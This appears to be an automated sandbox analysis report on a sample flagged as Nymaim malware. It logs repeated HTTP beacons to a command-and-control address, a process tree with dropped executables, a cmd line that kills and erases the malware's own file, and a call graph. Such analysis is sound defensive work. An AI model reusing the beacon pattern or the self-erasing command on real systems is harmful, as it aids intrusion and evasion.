                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:13.368314981 CET104INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:12 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=98
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:15.786164045 CET104OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:16.549029112 CET105INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:15 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=97
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:18.605607033 CET105OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:19.240708113 CET105INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:18 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=96
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:21.340537071 CET106OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:21.991055965 CET106INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:21 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=95
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:24.089605093 CET107OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:24.775511026 CET107INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:24 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=94
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:26.886960030 CET107OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:27.572810888 CET108INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:26 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=93
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:29.653567076 CET108OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:30.310436964 CET109INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:29 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=92
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:32.854022026 CET109OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:33.532494068 CET109INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:32 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=91
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:36.435168982 CET110OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:37.093343019 CET110INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:36 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=90
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0


                                                        Click to jump to process

                                                        Click to jump to process

                                                        Click to dive into process behavior distribution

                                                        Click to jump to process

                                                        Target ID:0
                                                        Start time:19:17:58
                                                        Start date:24/11/2022
                                                        Path:C:\Users\user\Desktop\file.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:C:\Users\user\Desktop\file.exe
                                                        Imagebase:0x400000
                                                        File size:1313965 bytes
                                                        MD5 hash:7E8888D098D8AF9B7F7D1A39FF7666A4
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low

                                                        Target ID:1
                                                        Start time:19:17:58
                                                        Start date:24/11/2022
                                                        Path:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp" /SL4 $30340 "C:\Users\user\Desktop\file.exe" 1077961 51712
                                                        Imagebase:0x400000
                                                        File size:658944 bytes
                                                        MD5 hash:85B94E72C3F2D2B5464E2AAF3C9E242A
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Antivirus matches:
                                                        • Detection: 4%, ReversingLabs
                                                        Reputation:moderate

                                                        Target ID:2
                                                        Start time:19:18:01
                                                        Start date:24/11/2022
                                                        Path:C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Program Files (x86)\PrintFolders\PrintFolders.exe"
                                                        Imagebase:0x400000
                                                        File size:1785853 bytes
                                                        MD5 hash:A11421185D7DA999305A2A671E0244DE
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.381430567.0000000001730000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.381635240.0000000003310000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                        Antivirus matches:
                                                        • Detection: 100%, Joe Sandbox ML
                                                        Reputation:low

                                                        Target ID:3
                                                        Start time:19:18:05
                                                        Start date:24/11/2022
                                                        Path:C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\CqxAaSZxg.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:
                                                        Imagebase:0xe60000
                                                        File size:73728 bytes
                                                        MD5 hash:3FB36CB0B7172E5298D2992D42984D06
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Antivirus matches:
                                                        • Detection: 46%, ReversingLabs
                                                        Reputation:high

                                                        Target ID:4
                                                        Start time:19:18:39
                                                        Start date:24/11/2022
                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Windows\System32\cmd.exe" /c taskkill /im "PrintFolders.exe" /f & erase "C:\Program Files (x86)\PrintFolders\PrintFolders.exe" & exit
                                                        Imagebase:0x11d0000
                                                        File size:232960 bytes
                                                        MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high

                                                        Target ID:5
                                                        Start time:19:18:39
                                                        Start date:24/11/2022
                                                        Path:C:\Windows\System32\conhost.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        Imagebase:0x7ff7fcd70000
                                                        File size:625664 bytes
                                                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high

                                                        Target ID:6
                                                        Start time:19:18:39
                                                        Start date:24/11/2022
                                                        Path:C:\Windows\SysWOW64\taskkill.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:taskkill /im "PrintFolders.exe" /f
                                                        Imagebase:0xe0000
                                                        File size:74752 bytes
                                                        MD5 hash:15E2E0ACD891510C6268CB8899F2A1A1
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high

                                                        Reset < >

                                                          Execution Graph

                                                          Execution Coverage:22.2%
                                                          Dynamic/Decrypted Code Coverage:0%
                                                          Signature Coverage:1.9%
                                                          Total number of Nodes:1455
                                                          Total number of Limit Nodes:22
                                                          execution_graph 6201 406640 IsDBCSLeadByte 6202 406658 6201->6202 6442 402b48 RaiseException 6443 40294a 6444 402952 6443->6444 6445 4035f8 4 API calls 6444->6445 6446 402967 6444->6446 6445->6444 6309 402ccc 6312 402cfe 6309->6312 6314 402cdd 6309->6314 6310 402d88 RtlUnwind 6311 403154 4 API calls 6310->6311 6311->6312 6313 402b28 RaiseException 6315 402d7f 6313->6315 6314->6310 6314->6312 6314->6313 6315->6310 6316 403acc ReadFile 6317 403aea 6316->6317 6318 403aed GetLastError 6316->6318 4874 4024d0 4875 4024e4 4874->4875 4876 4024f7 4874->4876 4913 401918 RtlInitializeCriticalSection 4875->4913 4878 402518 4876->4878 4879 40250e RtlEnterCriticalSection 4876->4879 4890 402300 4878->4890 4879->4878 4882 4024ed 4884 402525 4886 402581 4884->4886 4887 402577 RtlLeaveCriticalSection 4884->4887 4887->4886 4888 402531 4888->4884 4920 40215c 4888->4920 4891 402314 4890->4891 4894 402335 4891->4894 4895 4023b8 4891->4895 4892 402344 4892->4884 4900 401fd4 4892->4900 4894->4892 4934 401b74 4894->4934 4895->4892 4898 402455 4895->4898 4937 401d80 4895->4937 4945 401e84 4895->4945 4898->4892 4941 401d00 4898->4941 4901 401fe8 4900->4901 4902 401ffb 4900->4902 4903 401918 4 API calls 4901->4903 4904 402012 RtlEnterCriticalSection 4902->4904 4907 40201c 4902->4907 4905 401fed 4903->4905 4904->4907 4905->4902 4906 401ff1 4905->4906 4910 402052 4906->4910 4907->4910 5027 401ee0 4907->5027 4910->4888 4911 402147 4911->4888 4912 40213d RtlLeaveCriticalSection 4912->4911 4914 40193c RtlEnterCriticalSection 4913->4914 4915 401946 4913->4915 4914->4915 4916 401964 LocalAlloc 4915->4916 4917 40197e 4916->4917 4918 4019c3 RtlLeaveCriticalSection 4917->4918 4919 4019cd 4917->4919 4918->4919 4919->4876 4919->4882 4921 40217a 4920->4921 4922 402175 4920->4922 4924 4021ab RtlEnterCriticalSection 4921->4924 4927 4021b5 4921->4927 4928 40217e 4921->4928 4923 401918 4 API calls 4922->4923 4923->4921 4924->4927 4925 4021c1 4929 4022e3 RtlLeaveCriticalSection 4925->4929 4930 4022ed 4925->4930 4926 402244 4926->4928 4931 401d80 7 API calls 4926->4931 4927->4925 4927->4926 4932 402270 4927->4932 4928->4884 4929->4930 4930->4884 4931->4928 4932->4925 4933 401d00 7 API calls 4932->4933 4933->4925 4935 40215c 9 API calls 4934->4935 4936 401b95 4935->4936 4936->4892 4938 401d89 4937->4938 4940 401d92 4937->4940 4939 401b74 9 API calls 4938->4939 4938->4940 4939->4940 4940->4895 4942 401d4e 4941->4942 4943 401d1e 4941->4943 4942->4943 4950 401c68 4942->4950 4943->4892 5005 401768 4945->5005 4947 401e99 4949 401ea6 4947->4949 5016 401dcc 4947->5016 4949->4895 4951 401c7a 4950->4951 4952 401c9d 4951->4952 4953 401caf 4951->4953 4963 40188c 4952->4963 4955 40188c 3 API calls 4953->4955 4956 401cad 4955->4956 4962 401cc5 4956->4962 4973 401b44 4956->4973 4958 401cd4 4959 401cee 4958->4959 4978 401b98 4958->4978 4983 4013a0 4959->4983 4962->4943 4964 4018b2 4963->4964 4972 40190b 4963->4972 4987 401658 4964->4987 4969 4018e6 4971 4013a0 LocalAlloc 4969->4971 4969->4972 4971->4972 4972->4956 4974 401b61 4973->4974 4975 401b52 4973->4975 4974->4958 4976 401d00 9 API calls 4975->4976 4977 401b5f 4976->4977 4977->4958 4979 401bab 4978->4979 4980 401b9d 4978->4980 4979->4959 4981 401b74 9 API calls 4980->4981 4982 401baa 4981->4982 4982->4959 4984 4013ab 4983->4984 4985 4013c6 4984->4985 4986 4012e4 LocalAlloc 4984->4986 4985->4962 4986->4985 4988 40168f 4987->4988 4989 4016cf 4988->4989 4990 4016a9 VirtualFree 4988->4990 4991 40132c 4989->4991 4990->4988 4992 401348 4991->4992 4999 4012e4 4992->4999 4995 40150c 4997 40153b 4995->4997 4996 401594 4996->4969 4997->4996 4998 401568 VirtualFree 4997->4998 4998->4997 5002 40128c 4999->5002 5001 4012ef 5001->4969 5001->4995 5003 401298 LocalAlloc 5002->5003 5004 4012aa 5002->5004 5003->5004 5004->5001 5004->5004 5007 401787 5005->5007 5006 401494 LocalAlloc VirtualAlloc VirtualAlloc VirtualFree 5006->5007 5007->5006 5008 40183b 5007->5008 5010 40132c LocalAlloc 5007->5010 5011 401821 5007->5011 5012 4017d6 5007->5012 5015 4017e7 5008->5015 5023 4015c4 5008->5023 5010->5007 5013 40150c VirtualFree 5011->5013 5014 40150c VirtualFree 5012->5014 5013->5015 5014->5015 5015->4947 5017 401d80 9 API calls 5016->5017 5018 401de0 5017->5018 5019 40132c LocalAlloc 5018->5019 5021 401df0 5019->5021 5020 401df8 5020->4949 5021->5020 5022 401b44 9 API calls 5021->5022 5022->5020 5024 40160a 5023->5024 5025 401626 VirtualAlloc 5024->5025 5026 40163a 5024->5026 5025->5024 5025->5026 5026->5015 5030 401ef0 5027->5030 5028 401f1c 5029 401d00 9 API calls 5028->5029 5032 401f40 5028->5032 5029->5032 5030->5028 5030->5032 5033 401e58 5030->5033 5032->4911 5032->4912 5038 4016d8 5033->5038 5035 401e68 5036 401e75 5035->5036 5037 401dcc 9 API calls 5035->5037 5036->5030 5037->5036 5044 4016f4 5038->5044 5040 4016fe 5041 4015c4 VirtualAlloc 5040->5041 5042 40170a 5041->5042 5042->5035 5043 40132c LocalAlloc 5043->5044 5044->5040 5044->5042 5044->5043 5045 40174f 5044->5045 5047 401430 5044->5047 5046 40150c VirtualFree 5045->5046 5046->5042 5048 40143f VirtualAlloc 5047->5048 5050 40146c 5048->5050 5051 40148f 5048->5051 5052 4012e4 LocalAlloc 5050->5052 5051->5044 5053 401478 5052->5053 5053->5051 5054 40147c VirtualFree 5053->5054 5054->5051 6319 4028d2 6322 4028da 6319->6322 6320 4035f8 4 API calls 6320->6322 6321 4028ef 6323 4025ac 4 API calls 6321->6323 6322->6320 6322->6321 6324 4028f4 6323->6324 6681 4019d3 6682 4019ba 6681->6682 6683 4019c3 RtlLeaveCriticalSection 6682->6683 6684 4019cd 6682->6684 6683->6684 6211 402654 6212 403154 4 API calls 6211->6212 6213 402614 6212->6213 6214 402632 6213->6214 6215 403154 4 API calls 6213->6215 6215->6214 6685 4039d6 6686 4039c8 6685->6686 6687 4037f0 VariantClear 6686->6687 6688 4039d0 6687->6688 6325 4098dd 6326 409902 6325->6326 6327 4092b8 13 API calls 6326->6327 6329 409907 6327->6329 6328 409994 6360 4026c4 GetSystemTime 6328->6360 6331 4089c8 4 API calls 6329->6331 6335 409941 6329->6335 6333 40992c 6331->6333 6332 409999 6334 408e3c 33 API calls 6332->6334 6338 409934 MessageBoxA 6333->6338 6336 4099a1 6334->6336 6335->6328 6337 4089c8 4 API calls 6335->6337 6339 4031e8 4 API calls 6336->6339 6340 409970 6337->6340 6341 405820 5 API calls 6338->6341 6342 4099ae 6339->6342 6344 409978 MessageBoxA 6340->6344 6341->6335 6343 408d30 12 API calls 6342->6343 6345 4099c4 6343->6345 6344->6328 6346 409985 6344->6346 6348 4031e8 4 API calls 6345->6348 6347 405820 5 API calls 6346->6347 6347->6328 6349 4099d1 6348->6349 6350 407354 23 API calls 6349->6350 6351 4099e1 6350->6351 6352 407110 22 API calls 6351->6352 6353 409a0e 6352->6353 6354 402594 4 API calls 6353->6354 6355 409a2b 6354->6355 6356 4076b4 28 API calls 6355->6356 6357 409a6a 6356->6357 6358 407944 26 API calls 6357->6358 6359 409a8f 6358->6359 6360->6332 6455 405b5e 6456 405b60 6455->6456 6457 405b9c 6456->6457 6458 405b96 6456->6458 6461 405bb3 6456->6461 6459 4058fc 5 API calls 6457->6459 6458->6457 6460 405c08 6458->6460 6463 405baf 6459->6463 6462 40596c 19 API calls 6460->6462 6464 404c98 5 API calls 6461->6464 6462->6463 6465 403198 4 API calls 6463->6465 6466 405bdc 6464->6466 6467 405c42 6465->6467 6468 40596c 19 API calls 6466->6468 6468->6463 6487 409b63 6488 409b93 6487->6488 6489 409b9d CreateWindowExA SetWindowLongA 6488->6489 6490 405150 19 API calls 6489->6490 6491 409bff 6490->6491 6492 4032fc 4 API calls 6491->6492 6493 409c0d 6492->6493 6494 405150 19 API calls 6493->6494 6495 409c3f 6494->6495 6496 4032fc 4 API calls 6495->6496 6497 409c48 6496->6497 6498 4068f8 GetCommandLineA 6497->6498 6499 409c54 6498->6499 6500 4032fc 4 API calls 6499->6500 6501 409c5d 6500->6501 6502 409428 29 API calls 6501->6502 6503 409c6f 6502->6503 6504 40900c 5 API calls 6503->6504 6506 409ca8 6503->6506 6504->6506 6505 409cc1 6507 409cd5 6505->6507 6508 409cca 72E69840 6505->6508 6506->6505 6510 409cbb RemoveDirectoryA 6506->6510 6509 409cfd 6507->6509 6511 403620 4 API calls 6507->6511 6508->6507 6510->6505 6512 409cf3 6511->6512 6513 4025ac 4 API calls 6512->6513 6513->6509 6220 402e64 6221 402e69 6220->6221 6222 402e7a RtlUnwind 6221->6222 6223 402e5e 6221->6223 6224 402e9d 6222->6224 6696 4077e8 6697 4077f9 6696->6697 6698 4071d0 23 API calls 6697->6698 6700 40781d 6697->6700 6699 407809 6698->6699 6701 40736c 23 API calls 6699->6701 6701->6700 6702 402be9 RaiseException 6703 402c04 6702->6703 6370 406eee 6371 406ed8 6370->6371 6372 403198 4 API calls 6371->6372 6373 406ee0 6372->6373 6374 403198 4 API calls 6373->6374 6375 406ee8 6374->6375 6704 403fee 6705 404000 6704->6705 6706 403ff7 6704->6706 6707 403fab 4 API calls 6706->6707 6707->6705 6225 404071 6226 403fab 4 API calls 6225->6226 6227 40407a 6226->6227 6228 403f40 4 API calls 6227->6228 6229 404086 6228->6229 6376 402af2 6377 402afe 6376->6377 6380 402ed0 6377->6380 6381 403154 4 API calls 6380->6381 6383 402ee0 6381->6383 6382 402b03 6383->6382 6385 402b0c 6383->6385 6386 402b25 6385->6386 6387 402b15 RaiseException 6385->6387 6386->6382 6387->6386 5058 409b76 5088 409074 GetLastError 5058->5088 5061 409b93 5063 409b9d CreateWindowExA SetWindowLongA 5061->5063 5101 405150 5063->5101 5067 409c0d 5068 405150 19 API calls 5067->5068 5069 409c3f 5068->5069 5070 4032fc 4 API calls 5069->5070 5071 409c48 5070->5071 5118 4068f8 GetCommandLineA 5071->5118 5073 409c54 5074 4032fc 4 API calls 5073->5074 5075 409c5d 5074->5075 5120 409428 5075->5120 5077 409c6f 5078 409ca8 5077->5078 5134 40900c 5077->5134 5080 409cc1 5078->5080 5084 409cbb RemoveDirectoryA 5078->5084 5081 409cd5 5080->5081 5082 409cca 72E69840 5080->5082 5083 409cfd 5081->5083 5147 403620 5081->5147 5082->5081 5084->5080 5086 409cf3 5160 4025ac 5086->5160 5164 404c50 5088->5164 5096 4090ef 5179 4031b8 5096->5179 5102 405164 19 API calls 5101->5102 5103 40515f 5102->5103 5104 4032fc 5103->5104 5105 403300 5104->5105 5106 40333f 5104->5106 5107 4031e8 5105->5107 5108 40330a 5105->5108 5106->5067 5115 403254 4 API calls 5107->5115 5116 4031fc 5107->5116 5109 403334 5108->5109 5110 40331d 5108->5110 5111 403594 4 API calls 5109->5111 5340 403594 5110->5340 5114 403322 5111->5114 5112 403228 5112->5067 5114->5067 5115->5116 5116->5112 5117 4025ac 4 API calls 5116->5117 5117->5112 5119 406905 5118->5119 5119->5073 5366 4033b4 5120->5366 5122 409467 5123 409499 6CF17180 5122->5123 5124 4094a5 5123->5124 5125 4094ac CloseHandle 5123->5125 5126 409074 21 API calls 5124->5126 5127 4094c3 PeekMessageA 5125->5127 5126->5125 5128 4094d5 MsgWaitForMultipleObjects 5127->5128 5129 4094b7 TranslateMessage DispatchMessageA 5127->5129 5128->5127 5130 4094ec GetExitCodeProcess CloseHandle 5128->5130 5129->5127 5131 40950f 5130->5131 5132 403198 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 5131->5132 5133 409517 5132->5133 5133->5077 5135 409069 5134->5135 5137 40901f 5134->5137 5135->5078 5136 409027 Sleep 5136->5137 5137->5135 5137->5136 5138 409037 Sleep 5137->5138 5139 409047 6CAA5F60 5137->5139 5138->5137 5139->5135 5140 409051 GetLastError 5139->5140 5140->5135 5141 40905b GetLastError 5140->5141 5141->5135 5141->5137 5142 402f24 5143 403154 4 API calls 5142->5143 5144 402f29 5143->5144 5372 402bcc 5144->5372 5146 402f51 5146->5146 5148 403635 5147->5148 5149 403644 5147->5149 5150 40365a 5148->5150 5154 403674 5148->5154 5155 40363f 5148->5155 5151 403655 5149->5151 5152 40365c 5149->5152 5150->5086 5156 403198 4 API calls 5151->5156 5153 4031b8 4 API calls 5152->5153 5153->5150 5154->5150 5157 403620 4 API calls 5154->5157 5155->5149 5159 403690 5155->5159 5156->5150 5157->5154 5159->5150 5375 4035f8 5159->5375 5161 4025b0 5160->5161 5162 4025ba 5160->5162 5161->5162 5163 403154 4 API calls 5161->5163 5162->5083 5162->5162 5163->5162 5187 405164 5164->5187 5167 407044 FormatMessageA 5168 40706a 5167->5168 5169 403278 4 API calls 5168->5169 5170 407087 5169->5170 5171 408998 5170->5171 5172 4089b8 5171->5172 5330 408898 5172->5330 5175 40584c 5176 405853 5175->5176 5177 4031e8 4 API calls 5176->5177 5178 40586b 5177->5178 5178->5096 5181 4031be 5179->5181 5180 4031e3 5183 403198 5180->5183 5181->5180 5182 4025ac 4 API calls 5181->5182 5182->5181 5184 4031b7 5183->5184 5185 40319e 5183->5185 5184->5061 5184->5142 5185->5184 5186 4025ac 4 API calls 5185->5186 5186->5184 5188 405181 5187->5188 5195 404e14 5188->5195 5191 4051ad 5200 403278 5191->5200 5198 404e2f 5195->5198 5196 404e41 5196->5191 5205 404ba0 5196->5205 5198->5196 5208 404f36 5198->5208 5215 404e08 5198->5215 5201 403254 4 API calls 5200->5201 5203 403288 5201->5203 5202 403198 4 API calls 5204 4032a0 5202->5204 5203->5202 5204->5167 5322 4058fc 5205->5322 5207 404bb1 5207->5191 5209 404f47 5208->5209 5212 404f95 5208->5212 5211 40501b 5209->5211 5209->5212 5214 404fb3 5211->5214 5222 404df4 5211->5222 5212->5214 5218 404db0 5212->5218 5214->5198 5216 403198 4 API calls 5215->5216 5217 404e12 5216->5217 5217->5198 5219 404dbe 5218->5219 5225 404bb8 5219->5225 5221 404dec 5221->5212 5252 403a48 5222->5252 5228 40596c 5225->5228 5227 404bd1 5227->5221 5229 40597a 5228->5229 5238 404c98 LoadStringA 5229->5238 5232 405150 19 API calls 5233 4059b2 5232->5233 5241 4031e8 5233->5241 5236 4031b8 4 API calls 5237 4059d7 5236->5237 5237->5227 5239 403278 4 API calls 5238->5239 5240 404cc5 5239->5240 5240->5232 5242 4031ec 5241->5242 5245 4031fc 5241->5245 5242->5245 5247 403254 5242->5247 5243 403228 5243->5236 5245->5243 5246 4025ac 4 API calls 5245->5246 5246->5243 5248 403274 5247->5248 5249 403258 5247->5249 5248->5245 5250 402594 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 5249->5250 5251 403261 5250->5251 5251->5245 5253 403a4f 5252->5253 5258 403958 5253->5258 5255 403a6f 5256 403198 4 API calls 5255->5256 5257 403a76 5256->5257 5257->5214 5259 403979 5258->5259 5260 40396c 5258->5260 5261 4039d8 5259->5261 5262 40397f 5259->5262 5286 403824 5260->5286 5266 403a37 5261->5266 5267 4039df 5261->5267 5264 403992 5262->5264 5265 403985 5262->5265 5269 403938 6 API calls 5264->5269 5293 403938 5265->5293 5270 403898 3 API calls 5266->5270 5271 4039e5 5267->5271 5272 4039ef 5267->5272 5276 4039a0 5269->5276 5275 403974 5270->5275 5308 403908 5271->5308 5274 403898 3 API calls 5272->5274 5277 403a01 5274->5277 5275->5255 5298 403898 5276->5298 5279 403908 9 API calls 5277->5279 5281 403a1a 5279->5281 5280 4039bb 5304 4037f0 5280->5304 5283 4037f0 VariantClear 5281->5283 5285 403a2f 5283->5285 5284 4039d0 5284->5255 5285->5255 5287 403894 5286->5287 5288 4037e8 5286->5288 5287->5275 5288->5286 5289 403837 VariantClear 5288->5289 5290 403198 4 API calls 5288->5290 5291 403880 VariantCopyInd 5288->5291 5292 40384f 5288->5292 5289->5288 5290->5288 5291->5287 5291->5288 5292->5275 5313 40375c 5293->5313 5296 4037f0 VariantClear 5297 40394d 5296->5297 5297->5275 5299 4038e9 VariantChangeTypeEx 5298->5299 5300 4038ae VariantChangeTypeEx 5298->5300 5302 4038d6 5299->5302 5301 4038ca 5300->5301 5303 4037f0 VariantClear 5301->5303 5302->5280 5303->5302 5305 40380a 5304->5305 5306 4037fd 5304->5306 